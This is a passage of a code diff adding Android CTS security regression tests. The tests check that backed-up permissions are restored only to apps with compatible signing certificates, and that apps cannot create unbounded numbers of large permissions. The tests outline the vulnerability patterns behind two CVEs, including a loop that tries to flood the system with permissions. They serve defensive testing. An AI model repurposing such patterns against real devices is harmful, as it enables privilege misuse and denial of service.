+        backupUtils.backupNowAndAssertSuccess(ANDROID_PACKAGE)
+        uninstallIfInstalled(APP)
+        install(APP_APK_CERT_3)
+        backupUtils.restoreAndAssertSuccess(LOCAL_TRANSPORT_TOKEN, ANDROID_PACKAGE)
+
+        eventually {
+            assertEquals(PERMISSION_DENIED, checkPermission(APP, ACCESS_FINE_LOCATION))
+            assertEquals(PERMISSION_DENIED, checkPermission(APP, READ_CONTACTS))
+        }
+    }
+
+    /**
+     * Test backup and restore of regular runtime permissions, when the app being restored has the
+     * backed up app's certificate in its signing history.
+     */
+    @Test
+    @AsbSecurityTest(cveBugId = [184847040])
+    fun testRestore_midHistoryToRotated_restoresRuntimePermissions() {
+        install(APP_APK_CERT_2)
+        if (!isBackupSupported) {
+            return
+        }
+        grantPermission(APP, ACCESS_FINE_LOCATION)
+
+        backupUtils.backupNowAndAssertSuccess(ANDROID_PACKAGE)
+        uninstallIfInstalled(APP)
+        install(APP_APK_CERT_4_HISTORY_1_2_4)
+        backupUtils.restoreAndAssertSuccess(LOCAL_TRANSPORT_TOKEN, ANDROID_PACKAGE)
+
+        eventually {
+            assertEquals(PERMISSION_GRANTED, checkPermission(APP, ACCESS_FINE_LOCATION))
+            assertEquals(PERMISSION_DENIED, checkPermission(APP, READ_CONTACTS))
+        }
+    }
+
+    /**
+     * Test backup and restore of regular runtime permissions, when the app being restored has the
+     * backed up app's certificate as the original certificate in its signing history.
+     */
+    @Test
+    @AsbSecurityTest(cveBugId = [184847040])
+    fun testRestore_origToRotated_restoresRuntimePermissions() {
+        install(APP_APK_CERT_1)
+        if (!isBackupSupported) {
+            return
+        }
+        grantPermission(APP, ACCESS_FINE_LOCATION)
+
+        backupUtils.backupNowAndAssertSuccess(ANDROID_PACKAGE)
+        uninstallIfInstalled(APP)
+        install(APP_APK_CERT_4_HISTORY_1_2_4)
+        backupUtils.restoreAndAssertSuccess(LOCAL_TRANSPORT_TOKEN, ANDROID_PACKAGE)
+
+        eventually {
+            assertEquals(PERMISSION_GRANTED, checkPermission(APP, ACCESS_FINE_LOCATION))
+            assertEquals(PERMISSION_DENIED, checkPermission(APP, READ_CONTACTS))
+        }
+    }
+
+    /**
+     * Test backup and restore of regular runtime permissions, when the backed up app has the
+     * restored app's certificate in its signing history.
+     */
+    @Test
+    @AsbSecurityTest(cveBugId = [184847040])
+    fun testRestore_rotatedToMidHistory_restoresRuntimePermissions() {
+        install(APP_APK_CERT_4_HISTORY_1_2_4)
+        if (!isBackupSupported) {
+            return
+        }
+        grantPermission(APP, ACCESS_FINE_LOCATION)
+
+        backupUtils.backupNowAndAssertSuccess(ANDROID_PACKAGE)
+        uninstallIfInstalled(APP)
+        install(APP_APK_CERT_2)
+        backupUtils.restoreAndAssertSuccess(LOCAL_TRANSPORT_TOKEN, ANDROID_PACKAGE)
+
+        eventually {
+            assertEquals(PERMISSION_GRANTED, checkPermission(APP, ACCESS_FINE_LOCATION))
+            assertEquals(PERMISSION_DENIED, checkPermission(APP, READ_CONTACTS))
+        }
+    }
+
+    /**
+     * Test backup and restore of regular runtime permissions, when the backed up app has the
+     * restored app's certificate in its signing history as its original certificate.
+     */
+    @Test
+    @AsbSecurityTest(cveBugId = [184847040])
+    fun testRestore_rotatedToOrig_restoresRuntimePermissions() {
+        install(APP_APK_CERT_4_HISTORY_1_2_4)
+        if (!isBackupSupported) {
+            return
+        }
+        grantPermission(APP, ACCESS_FINE_LOCATION)
+
+        backupUtils.backupNowAndAssertSuccess(ANDROID_PACKAGE)
+        uninstallIfInstalled(APP)
+        install(APP_APK_CERT_1)
+        backupUtils.restoreAndAssertSuccess(LOCAL_TRANSPORT_TOKEN, ANDROID_PACKAGE)
+
+        eventually {
+            assertEquals(PERMISSION_GRANTED, checkPermission(APP, ACCESS_FINE_LOCATION))
+            assertEquals(PERMISSION_DENIED, checkPermission(APP, READ_CONTACTS))
+        }
+    }
+
+    /**
+     * Test backup and restore of regular runtime permissions, when the backed up app has the same
+     * certificate as the restored app, but the restored app additionally has signing certificate
+     * history.
+     */
+    @Test
+    @AsbSecurityTest(cveBugId = [184847040])
+    fun testRestore_sameWithHistory_restoresRuntimePermissions() {
+        install(APP_APK_CERT_4)
+        if (!isBackupSupported) {
+            return
+        }
+        grantPermission(APP, ACCESS_FINE_LOCATION)
+
+        backupUtils.backupNowAndAssertSuccess(ANDROID_PACKAGE)
+        uninstallIfInstalled(APP)
+        install(APP_APK_CERT_4_HISTORY_1_2_4)
+        backupUtils.restoreAndAssertSuccess(LOCAL_TRANSPORT_TOKEN, ANDROID_PACKAGE)
+
+        eventually {
+            assertEquals(PERMISSION_GRANTED, checkPermission(APP, ACCESS_FINE_LOCATION))
+            assertEquals(PERMISSION_DENIED, checkPermission(APP, READ_CONTACTS))
+        }
+    }
+
+    /**
+     * Test backup and restore of regular runtime permissions, when the backed up app has the same
+     * certificate as the restored app, but the backed up app additionally has signing certificate
+     * history.
+     */
+    @Test
+    @AsbSecurityTest(cveBugId = [184847040])
+    fun testRestore_sameWithoutHistory_restoresRuntimePermissions() {
+        install(APP_APK_CERT_4_HISTORY_1_2_4)
+        if (!isBackupSupported) {
+            return
+        }
+        grantPermission(APP, ACCESS_FINE_LOCATION)
+
+        backupUtils.backupNowAndAssertSuccess(ANDROID_PACKAGE)
+        uninstallIfInstalled(APP)
+        install(APP_APK_CERT_4)
+        backupUtils.restoreAndAssertSuccess(LOCAL_TRANSPORT_TOKEN, ANDROID_PACKAGE)
+
+        eventually {
+            assertEquals(PERMISSION_GRANTED, checkPermission(APP, ACCESS_FINE_LOCATION))
+            assertEquals(PERMISSION_DENIED, checkPermission(APP, READ_CONTACTS))
+        }
+    }
+
+    /**
+     * Test backup and restore of regular runtime permissions, when the app being restored has
+     * signing history, but the backed up app's certificate is not in this signing history.
+     */
+    @Test
+    @AsbSecurityTest(cveBugId = [184847040])
+    fun testRestore_notInBackedUpHistory_doesNotRestoreRuntimePerms() {
+        install(APP_APK_CERT_4_HISTORY_1_2_4)
+        if (!isBackupSupported) {
+            return
+        }
+        grantPermission(APP, ACCESS_FINE_LOCATION)
+
+        backupUtils.backupNowAndAssertSuccess(ANDROID_PACKAGE)
+        uninstallIfInstalled(APP)
+        install(APP_APK_CERT_3)
+        backupUtils.restoreAndAssertSuccess(LOCAL_TRANSPORT_TOKEN, ANDROID_PACKAGE)
+
+        eventually {
+            assertEquals(PERMISSION_DENIED, checkPermission(APP, ACCESS_FINE_LOCATION))
+            assertEquals(PERMISSION_DENIED, checkPermission(APP, READ_CONTACTS))
+        }
+    }
+
+    /**
+     * Test backup and restore of regular runtime permissions, when the app being restored has
+     * signing history, but the backed up app's certificate is not in this signing history.
+     */
+    @Test
+    @AsbSecurityTest(cveBugId = [184847040])
+    fun testRestore_notInRestoredHistory_doesNotRestoreRuntimePerms() {
+        install(APP_APK_CERT_3)
+        if (!isBackupSupported) {
+            return
+        }
+        grantPermission(APP, ACCESS_FINE_LOCATION)
+
+        backupUtils.backupNowAndAssertSuccess(ANDROID_PACKAGE)
+        uninstallIfInstalled(APP)
+        install(APP_APK_CERT_4_HISTORY_1_2_4)
+        backupUtils.restoreAndAssertSuccess(LOCAL_TRANSPORT_TOKEN, ANDROID_PACKAGE)
+
+        eventually {
+            assertEquals(PERMISSION_DENIED, checkPermission(APP, ACCESS_FINE_LOCATION))
+            assertEquals(PERMISSION_DENIED, checkPermission(APP, READ_CONTACTS))
+        }
+    }
+
+    /**
+     * Test backup and restore of regular runtime permissions, when the app being restored has
+     * multiple certificates, and the backed up app also has identical multiple certificates.
+     */
+    @Test
+    @AsbSecurityTest(cveBugId = [184847040])
+    fun testRestore_sameMultCerts_restoresRuntimePermissions() {
+        install(APP_APK_CERT_1_2)
+        if (!isBackupSupported) {
+            return
+        }
+        grantPermission(APP, ACCESS_FINE_LOCATION)
+
+        backupUtils.backupNowAndAssertSuccess(ANDROID_PACKAGE)
+        uninstallIfInstalled(APP)
+        install(APP_APK_CERT_1_2_DUP)
+        backupUtils.restoreAndAssertSuccess(LOCAL_TRANSPORT_TOKEN, ANDROID_PACKAGE)
+
+        eventually {
+            assertEquals(PERMISSION_GRANTED, checkPermission(APP, ACCESS_FINE_LOCATION))
+            assertEquals(PERMISSION_DENIED, checkPermission(APP, READ_CONTACTS))
+        }
+    }
+
+    /**
+     * Test backup and restore of regular runtime permissions, when the app being restored has
+     * multiple certificates, and the backed up app do not have identical multiple certificates.
+     */
+    @Test
+    @AsbSecurityTest(cveBugId = [184847040])
+    fun testRestore_diffMultCerts_doesNotRestoreRuntimePermissions() {
+        install(APP_APK_CERT_1_2)
+        if (!isBackupSupported) {
+            return
+        }
+        grantPermission(APP, ACCESS_FINE_LOCATION)
+
+        backupUtils.backupNowAndAssertSuccess(ANDROID_PACKAGE)
+        uninstallIfInstalled(APP)
+        install(APP_APK_CERT_3_4)
+        backupUtils.restoreAndAssertSuccess(LOCAL_TRANSPORT_TOKEN, ANDROID_PACKAGE)
+
+        eventually {
+            assertEquals(PERMISSION_DENIED, checkPermission(APP, ACCESS_FINE_LOCATION))
+            assertEquals(PERMISSION_DENIED, checkPermission(APP, READ_CONTACTS))
+        }
+    }
+
+    /**
+     * Test backup and restore of regular runtime permissions, when the app being restored has
+     * multiple certificates, and the backed up app's certificate is present in th restored app's
+     * certificates.
+     */
+    @Test
+    @AsbSecurityTest(cveBugId = [184847040])
+    fun testRestore_singleToMultiCert_restoresRuntimePerms() {
+        install(APP_APK_CERT_1)
+        if (!isBackupSupported) {
+            return
+        }
+        grantPermission(APP, ACCESS_FINE_LOCATION)
+
+        backupUtils.backupNowAndAssertSuccess(ANDROID_PACKAGE)
+        uninstallIfInstalled(APP)
+        install(APP_APK_CERT_1_2_3)
+        backupUtils.restoreAndAssertSuccess(LOCAL_TRANSPORT_TOKEN, ANDROID_PACKAGE)
+
+        eventually {
+            assertEquals(PERMISSION_DENIED, checkPermission(APP, ACCESS_FINE_LOCATION))
+            assertEquals(PERMISSION_DENIED, checkPermission(APP, READ_CONTACTS))
+        }
+    }
+
+    /**
+     * Test backup and restore of regular runtime permissions, when the backed up app and the app
+     * being restored have multiple certificates, and the backed up app's certificates are a subset
+     * of the restored app's certificates.
+     */
+    @Test
+    @AsbSecurityTest(cveBugId = [184847040])
+    fun testRestore_multCertsToSuperset_doesNotRestoreRuntimePerms() {
+        install(APP_APK_CERT_1_2)
+        if (!isBackupSupported) {
+            return
+        }
+        grantPermission(APP, ACCESS_FINE_LOCATION)
+
+        backupUtils.backupNowAndAssertSuccess(ANDROID_PACKAGE)
+        uninstallIfInstalled(APP)
+        install(APP_APK_CERT_1_2_3)
+        backupUtils.restoreAndAssertSuccess(LOCAL_TRANSPORT_TOKEN, ANDROID_PACKAGE)
+
+        eventually {
+            assertEquals(PERMISSION_DENIED, checkPermission(APP, ACCESS_FINE_LOCATION))
+            assertEquals(PERMISSION_DENIED, checkPermission(APP, READ_CONTACTS))
+        }
+    }
+
+    /**
+     * Test backup and restore of regular runtime permissions, when the backed up app and the app
+     * being restored have multiple certificates, and the backed up app's certificates are a
+     * superset of the restored app's certificates.
+     */
+    @Test
+    @AsbSecurityTest(cveBugId = [184847040])
+    fun testRestore_multCertsToSubset_doesNotRestoreRuntimePermissions() {
+        install(APP_APK_CERT_1_2_3)
+        if (!isBackupSupported) {
+            return
+        }
+        grantPermission(APP, ACCESS_FINE_LOCATION)
+
+        backupUtils.backupNowAndAssertSuccess(ANDROID_PACKAGE)
+        uninstallIfInstalled(APP)
+        install(APP_APK_CERT_1_2)
+        backupUtils.restoreAndAssertSuccess(LOCAL_TRANSPORT_TOKEN, ANDROID_PACKAGE)
+
+        eventually {
+            assertEquals(PERMISSION_DENIED, checkPermission(APP, ACCESS_FINE_LOCATION))
+            assertEquals(PERMISSION_DENIED, checkPermission(APP, READ_CONTACTS))
+        }
+    }
+
+    /**
+     * Test backup and restore of tri-state permissions, when both foreground and background runtime
+     * permissions are not granted and the backed up and restored app have compatible certificates.
+     */
+    @Test
+    @AsbSecurityTest(cveBugId = [184847040])
+    fun testRestore_fgBgDenied_matchingCerts_restoresFgBgPermissions() {
+        install(APP_APK_CERT_2)
+        if (!isBackupSupported) {
+            return
+        }
+        // Make a token change to permission state, to enable to us to determine when restore is
+        // complete.
+        grantPermission(APP, WRITE_CONTACTS)
+        // PERMISSION_DENIED is the default state, so we mark the permissions as user set in order
+        // to ensure that permissions are backed up.
+        setFlag(APP, ACCESS_FINE_LOCATION, FLAG_PERMISSION_USER_SET)
+        setFlag(APP, ACCESS_BACKGROUND_LOCATION, FLAG_PERMISSION_USER_SET)
+
+        backupUtils.backupNowAndAssertSuccess(ANDROID_PACKAGE)
+        uninstallIfInstalled(APP)
+        install(APP_APK_CERT_4_HISTORY_1_2_4)
+        backupUtils.restoreAndAssertSuccess(LOCAL_TRANSPORT_TOKEN, ANDROID_PACKAGE)
+
+        eventually {
+
+            // Wait until restore is complete.
+            assertEquals(PERMISSION_GRANTED, checkPermission(APP, WRITE_CONTACTS))
+            assertEquals(PERMISSION_DENIED, checkPermission(APP, ACCESS_FINE_LOCATION))
+            assertEquals(PERMISSION_DENIED, checkPermission(APP, ACCESS_BACKGROUND_LOCATION))
+            assertEquals(AppOpsManager.MODE_IGNORED, getAppOp(APP, ACCESS_FINE_LOCATION))
+        }
+    }
+
+    /**
+     * Test backup and restore of tri-state permissions, when both foreground and background runtime
+     * permissions are not granted and the backed up and restored app don't have compatible
+     * certificates.
+     */
+    @Test
+    @AsbSecurityTest(cveBugId = [184847040])
+    fun testRestore_fgBgDenied_notMatchingCerts_doesNotRestorePerms() {
+        install(APP_APK_CERT_1)
+        if (!isBackupSupported) {
+            return
+        }
+        // Make a token change to permission state, to enable to us to determine when restore is
+        // complete.
+        grantPermission(APP, WRITE_CONTACTS)
+        // PERMISSION_DENIED is the default state, so we mark the permissions as user set in order
+        // to ensure that permissions are backed up.
+        setFlag(APP, ACCESS_FINE_LOCATION, FLAG_PERMISSION_USER_SET)
+        setFlag(APP, ACCESS_BACKGROUND_LOCATION, FLAG_PERMISSION_USER_SET)
+
+        backupUtils.backupNowAndAssertSuccess(ANDROID_PACKAGE)
+        uninstallIfInstalled(APP)
+        install(APP_APK_CERT_2)
+        backupUtils.restoreAndAssertSuccess(LOCAL_TRANSPORT_TOKEN, ANDROID_PACKAGE)
+
+        eventually {
+
+            // Wait until restore is complete.
+            assertEquals(PERMISSION_DENIED, checkPermission(APP, WRITE_CONTACTS))
+            assertEquals(PERMISSION_DENIED, checkPermission(APP, ACCESS_FINE_LOCATION))
+            assertEquals(PERMISSION_DENIED, checkPermission(APP, ACCESS_BACKGROUND_LOCATION))
+            assertEquals(AppOpsManager.MODE_IGNORED, getAppOp(APP, ACCESS_FINE_LOCATION))
+        }
+    }
+
+    /**
+     * Test backup and restore of tri-state permissions, when foreground runtime permission is
+     * granted and the backed up and restored app have compatible certificates.
+     */
+    @Test
+    @AsbSecurityTest(cveBugId = [184847040])
+    fun testRestore_fgGranted_matchingCerts_restoresFgBgPermissions() {
+        install(APP_APK_CERT_2)
+        if (!isBackupSupported) {
+            return
+        }
+        grantPermission(APP, ACCESS_FINE_LOCATION)
+        // PERMISSION_DENIED is the default state, so we mark the permissions as user set in order
+        // to ensure that permissions are backed up.
+        setFlag(APP, ACCESS_BACKGROUND_LOCATION, FLAG_PERMISSION_USER_SET)
+
+        backupUtils.backupNowAndAssertSuccess(ANDROID_PACKAGE)
+        uninstallIfInstalled(APP)
+        install(APP_APK_CERT_4_HISTORY_1_2_4)
+        backupUtils.restoreAndAssertSuccess(LOCAL_TRANSPORT_TOKEN, ANDROID_PACKAGE)
+
+        eventually {
+            assertEquals(PERMISSION_GRANTED, checkPermission(APP, ACCESS_FINE_LOCATION))
+            assertEquals(PERMISSION_DENIED, checkPermission(APP, ACCESS_BACKGROUND_LOCATION))
+            assertEquals(AppOpsManager.MODE_FOREGROUND, getAppOp(APP, ACCESS_FINE_LOCATION))
+        }
+    }
+
+    /**
+     * Test backup and restore of tri-state permissions, when foreground runtime permission is
+     * granted and the backed up and restored app don't have compatible certificates.
+     */
+    @Test
+    @AsbSecurityTest(cveBugId = [184847040])
+    fun testRestore_fgGranted_notMatchingCerts_doesNotRestoreFgBgPerms() {
+        install(APP_APK_CERT_1)
+        if (!isBackupSupported) {
+            return
+        }
+        grantPermission(APP, ACCESS_FINE_LOCATION)
+        // PERMISSION_DENIED is the default state, so we mark the permissions as user set in order
+        // to ensure that permissions are backed up.
+        setFlag(APP, ACCESS_BACKGROUND_LOCATION, FLAG_PERMISSION_USER_SET)
+
+        backupUtils.backupNowAndAssertSuccess(ANDROID_PACKAGE)
+        uninstallIfInstalled(APP)
+        install(APP_APK_CERT_2)
+        backupUtils.restoreAndAssertSuccess(LOCAL_TRANSPORT_TOKEN, ANDROID_PACKAGE)
+
+        eventually {
+            assertEquals(PERMISSION_DENIED, checkPermission(APP, ACCESS_FINE_LOCATION))
+            assertEquals(PERMISSION_DENIED, checkPermission(APP, ACCESS_BACKGROUND_LOCATION))
+            assertEquals(AppOpsManager.MODE_IGNORED, getAppOp(APP, ACCESS_FINE_LOCATION))
+        }
+    }
+
+    /**
+     * Test backup and restore of tri-state permissions, when foreground and background runtime
+     * permissions are granted and the backed up and restored app have compatible certificates.
+     */
+    @Test
+    @AsbSecurityTest(cveBugId = [184847040])
+    fun testRestore_fgBgGranted_matchingCerts_restoresFgBgPermissions() {
+        install(APP_APK_CERT_2)
+        if (!isBackupSupported) {
+            return
+        }
+        grantPermission(APP, ACCESS_FINE_LOCATION)
+        grantPermission(APP, ACCESS_BACKGROUND_LOCATION)
+
+        backupUtils.backupNowAndAssertSuccess(ANDROID_PACKAGE)
+        uninstallIfInstalled(APP)
+        install(APP_APK_CERT_4_HISTORY_1_2_4)
+        backupUtils.restoreAndAssertSuccess(LOCAL_TRANSPORT_TOKEN, ANDROID_PACKAGE)
+
+        eventually {
+            assertEquals(PERMISSION_GRANTED, checkPermission(APP, ACCESS_FINE_LOCATION))
+            assertEquals(PERMISSION_GRANTED, checkPermission(APP, ACCESS_BACKGROUND_LOCATION))
+            assertEquals(AppOpsManager.MODE_ALLOWED, getAppOp(APP, ACCESS_FINE_LOCATION))
+        }
+    }
+
+    /**
+     * Test backup and restore of tri-state permissions, when foreground and background runtime
+     * permissions are granted and the backed up and restored app don't have compatible
+     * certificates.
+     */
+    @Test
+    @AsbSecurityTest(cveBugId = [184847040])
+    fun testRestore_fgBgGranted_notMatchingCerts_restoresFgBgPerms() {
+        install(APP_APK_CERT_1)
+        if (!isBackupSupported) {
+            return
+        }
+        grantPermission(APP, ACCESS_FINE_LOCATION)
+        grantPermission(APP, ACCESS_BACKGROUND_LOCATION)
+
+        backupUtils.backupNowAndAssertSuccess(ANDROID_PACKAGE)
+        uninstallIfInstalled(APP)
+        install(APP_APK_CERT_2)
+        backupUtils.restoreAndAssertSuccess(LOCAL_TRANSPORT_TOKEN, ANDROID_PACKAGE)
+
+        eventually {
+            assertEquals(PERMISSION_DENIED, checkPermission(APP, ACCESS_FINE_LOCATION))
+            assertEquals(PERMISSION_DENIED, checkPermission(APP, ACCESS_BACKGROUND_LOCATION))
+            assertEquals(AppOpsManager.MODE_IGNORED, getAppOp(APP, ACCESS_FINE_LOCATION))
+        }
+    }
+
+    /**
+     * Test backup and restore of flags when the backed up app and restored app have compatible
+     * certificates.
+     */
+    @Test
+    @AsbSecurityTest(cveBugId = [184847040])
+    fun testRestore_matchingCerts_restoresFlags() {
+        install(APP_APK_CERT_2)
+        if (!isBackupSupported) {
+            return
+        }
+        setFlag(APP, WRITE_CONTACTS, FLAG_PERMISSION_USER_SET)
+
+        backupUtils.backupNowAndAssertSuccess(ANDROID_PACKAGE)
+        uninstallIfInstalled(APP)
+        install(APP_APK_CERT_4_HISTORY_1_2_4)
+        backupUtils.restoreAndAssertSuccess(LOCAL_TRANSPORT_TOKEN, ANDROID_PACKAGE)
+
+        eventually { assertTrue(isFlagSet(APP, WRITE_CONTACTS, FLAG_PERMISSION_USER_SET)) }
+    }
+
+    /**
+     * Test backup and restore of flags when the backed up app and restored app don't have
+     * compatible certificates.
+     */
+    @Test
+    @AsbSecurityTest(cveBugId = [184847040])
+    fun testRestore_notMatchingCerts_doesNotRestoreFlag() {
+        install(APP_APK_CERT_1)
+        if (!isBackupSupported) {
+            return
+        }
+        setFlag(APP, WRITE_CONTACTS, FLAG_PERMISSION_USER_SET)
+
+        backupUtils.backupNowAndAssertSuccess(ANDROID_PACKAGE)
+        uninstallIfInstalled(APP)
+        install(APP_APK_CERT_2)
+        backupUtils.restoreAndAssertSuccess(LOCAL_TRANSPORT_TOKEN, ANDROID_PACKAGE)
+
+        eventually { assertFalse(isFlagSet(APP, WRITE_CONTACTS, FLAG_PERMISSION_USER_SET)) }
+    }
+
+    /**
+     * Test backup and delayed restore of regular runtime permission, i.e. when an app is installed
+     * after restore has run, and the backed up app and restored app have compatible certificates.
+     */
+    @Test
+    @AsbSecurityTest(cveBugId = [184847040])
+    fun testRestore_appInstalledLater_matchingCerts_restoresCorrectly() {
+        install(APP_APK_CERT_2)
+        if (!isBackupSupported) {
+            return
+        }
+        grantPermission(APP, ACCESS_FINE_LOCATION)
+
+        backupUtils.backupNowAndAssertSuccess(ANDROID_PACKAGE)
+        uninstallIfInstalled(APP)
+        backupUtils.restoreAndAssertSuccess(LOCAL_TRANSPORT_TOKEN, ANDROID_PACKAGE)
+        install(APP_APK_CERT_4_HISTORY_1_2_4)
+
+        eventually { assertEquals(PERMISSION_GRANTED, checkPermission(APP, ACCESS_FINE_LOCATION)) }
+    }
+
+    /**
+     * Test backup and delayed restore of regular runtime permission, i.e. when an app is installed
+     * after restore has run, and the backed up app and restored app don't have compatible
+     * certificates.
+     */
+    @Test
+    @AsbSecurityTest(cveBugId = [184847040])
+    fun testRestore_appInstalledLater_notMatchingCerts_doesNotRestore() {
+        install(APP_APK_CERT_1)
+        if (!isBackupSupported) {
+            return
+        }
+        grantPermission(APP, ACCESS_FINE_LOCATION)
+
+        backupUtils.backupNowAndAssertSuccess(ANDROID_PACKAGE)
+        uninstallIfInstalled(APP)
+        backupUtils.restoreAndAssertSuccess(LOCAL_TRANSPORT_TOKEN, ANDROID_PACKAGE)
+        install(APP_APK_CERT_4_HISTORY_1_2_4)
+
+        eventually { assertEquals(PERMISSION_DENIED, checkPermission(APP, ACCESS_FINE_LOCATION)) }
+    }
+
+    private fun install(apk: String) {
+        val output = runShellCommand("pm install -r $apk")
+        assertEquals("Success", output)
+    }
+
+    private fun uninstallIfInstalled(packageName: String) {
+        runShellCommand("pm uninstall $packageName")
+    }
+
+    private fun setFlag(app: String, permission: String, flag: Int) {
+        runWithShellPermissionIdentity {
+            targetContext.packageManager.updatePermissionFlags(
+                permission, app, flag, flag, targetContext.user)
+        }
+    }
+
+    private fun clearFlag(app: String, permission: String, flag: Int) {
+        runWithShellPermissionIdentity {
+            targetContext.packageManager.updatePermissionFlags(
+                permission, app, flag, 0, targetContext.user)
+        }
+    }
+
+    private fun isFlagSet(app: String, permission: String, flag: Int): Boolean {
+        return try {
+            callWithShellPermissionIdentity<Int> {
+                targetContext.packageManager.getPermissionFlags(permission, app, targetContext.user)
+            } and flag == flag
+        } catch (e: Exception) {
+            throw RuntimeException(e)
+        }
+    }
+
+    private fun checkPermission(app: String, permission: String): Int {
+        return targetContext.packageManager.checkPermission(permission, app)
+    }
+
+    private fun getAppOp(app: String, permission: String): Int {
+        return try {
+            callWithShellPermissionIdentity {
+                targetContext
+                    .getSystemService<AppOpsManager>(AppOpsManager::class.java)!!
+                    .unsafeCheckOpRaw(
+                        AppOpsManager.permissionToOp(permission)!!,
+                        targetContext.packageManager.getPackageUid(app, 0),
+                        app)
+            }
+        } catch (e: Exception) {
+            throw RuntimeException(e)
+        }
+    }
+
+    companion object {
+        /** The name of the package of the apps under test */
+        private const val APP = "android.security.permissionbackup"
+        /** The apk of the packages */
+        private const val APK_PATH = "/data/local/tmp/cts/security/"
+        private const val APP_APK_CERT_1 = "${APK_PATH}CtsPermissionBackupAppCert1.apk"
+        private const val APP_APK_CERT_1_DUP = "${APK_PATH}CtsPermissionBackupAppCert1Dup.apk"
+        private const val APP_APK_CERT_2 = "${APK_PATH}CtsPermissionBackupAppCert2.apk"
+        private const val APP_APK_CERT_3 = "${APK_PATH}CtsPermissionBackupAppCert3.apk"
+        private const val APP_APK_CERT_4 = "${APK_PATH}CtsPermissionBackupAppCert4.apk"
+        private const val APP_APK_CERT_1_2 = "${APK_PATH}CtsPermissionBackupAppCert12.apk"
+        private const val APP_APK_CERT_1_2_DUP = "${APK_PATH}CtsPermissionBackupAppCert12Dup.apk"
+        private const val APP_APK_CERT_1_2_3 = "${APK_PATH}CtsPermissionBackupAppCert123.apk"
+        private const val APP_APK_CERT_3_4 = "${APK_PATH}CtsPermissionBackupAppCert34.apk"
+        private const val APP_APK_CERT_4_HISTORY_1_2_4 =
+            "${APK_PATH}CtsPermissionBackupAppCert4History124.apk"
+        private const val APP_LOG_TAG = "PermissionBackupApp"
+        /** The name of the package for backup */
+        private const val ANDROID_PACKAGE = "android"
+        private const val TIMEOUT_MILLIS: Long = 10000
+
+        /**
+         * Make sure that a [Runnable] eventually finishes without throwing an [Exception].
+         *
+         * @param r The [Runnable] to run.
+         */
+        fun eventually(r: Runnable) {
+            val start = System.currentTimeMillis()
+            while (true) {
+                try {
+                    r.run()
+                    return
+                } catch (e: Throwable) {
+                    if (System.currentTimeMillis() - start < TIMEOUT_MILLIS) {
+                        try {
+                            Thread.sleep(100)
+                        } catch (ignored: InterruptedException) {
+                            throw RuntimeException(e)
+                        }
+                    } else {
+                        throw e
+                    }
+                }
+            }
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/PermissionMemoryFootprintTest.kt b/tests/tests/security/src/android/security/cts/PermissionMemoryFootprintTest.kt
new file mode 100644
index 0000000..c774760
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/PermissionMemoryFootprintTest.kt
@@ -0,0 +1,102 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts
+
+import android.content.pm.PackageManager
+import android.content.pm.PermissionInfo
+import android.platform.test.annotations.AsbSecurityTest
+import androidx.test.ext.junit.runners.AndroidJUnit4
+import androidx.test.platform.app.InstrumentationRegistry
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase
+import org.junit.Assert
+import org.junit.Test
+import org.junit.runner.RunWith
+
+@RunWith(AndroidJUnit4::class)
+class PermissionMemoryFootprintTest : StsExtraBusinessLogicTestCase() {
+    companion object {
+        const val MAX_NUM_PERMISSIONS = 32000
+        const val PKG_TREE_NAME = "com.android.cts"
+        val LONG_DESCRIPTION = " ".repeat(MAX_NUM_PERMISSIONS / 10)
+        val SHORT_DESCRIPTION = " ".repeat(MAX_NUM_PERMISSIONS / 100)
+
+        val permInfo = PermissionInfo().apply {
+            labelRes = 1
+            protectionLevel = PermissionInfo.PROTECTION_NORMAL
+        }
+    }
+
+    val packageManager: PackageManager = InstrumentationRegistry.getInstrumentation()
+                    .getTargetContext().packageManager!!
+
+    @Throws(SecurityException::class)
+    private fun createOrRemovePermissions(
+        largePerm: Boolean = true,
+        add: Boolean = true,
+        numPerms: Int = MAX_NUM_PERMISSIONS,
+    ): Int {
+        var numPermsCreated = 0
+        for (i in 1..numPerms) {
+            try {
+                permInfo.name = "$PKG_TREE_NAME.$i"
+                permInfo.nonLocalizedDescription = if (largePerm) {
+                    LONG_DESCRIPTION
+                } else {
+                    SHORT_DESCRIPTION
+                }
+
+                if (add) {
+                    packageManager.addPermission(permInfo)
+                } else {
+                    packageManager.removePermission(permInfo.name)
+                }
+            } catch (e: SecurityException) {
+                break
+            }
+            numPermsCreated = i
+        }
+        return numPermsCreated
+    }
+
+    @Test
+    @AsbSecurityTest(cveBugId = [242537498])
+    fun checkAppsCreatingPermissionsAreCapped() {
+        var numCreated = 0
+        try {
+            numCreated = createOrRemovePermissions()
+            Assert.assertNotEquals("Expected at least one permission", numCreated, 0)
+            Assert.assertNotEquals(numCreated, MAX_NUM_PERMISSIONS)
+        } finally {
+            createOrRemovePermissions(add = false, numPerms = numCreated)
+        }
+    }
+
+    @Test
+    @AsbSecurityTest(cveBugId = [242537498])
+    fun checkAppsCantIncreasePermissionSizeAfterCreating() {
+        var numCreatedShort = 0
+        try {
+            numCreatedShort = createOrRemovePermissions(largePerm = false)
+            Assert.assertNotEquals("Expected at least one permission", numCreatedShort, 0)
+            val numCreatedLong = createOrRemovePermissions(numPerms = 1)
+            Assert.assertEquals("Expected to not be able to create a large permission",
+                0, numCreatedLong)
+        } finally {
+            createOrRemovePermissions(add = false, numPerms = numCreatedShort)
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/SplitPermissionAutoGrantTest.kt b/tests/tests/security/src/android/security/cts/SplitPermissionAutoGrantTest.kt
index 28d004f..3b20d45 100644
--- a/tests/tests/security/src/android/security/cts/SplitPermissionAutoGrantTest.kt
+++ b/tests/tests/security/src/android/security/cts/SplitPermissionAutoGrantTest.kt
@@ -18,7 +18,10 @@
 
 import android.platform.test.annotations.AsbSecurityTest
 import androidx.test.ext.junit.runners.AndroidJUnit4
+import com.android.compatibility.common.util.mainline.MainlineModule
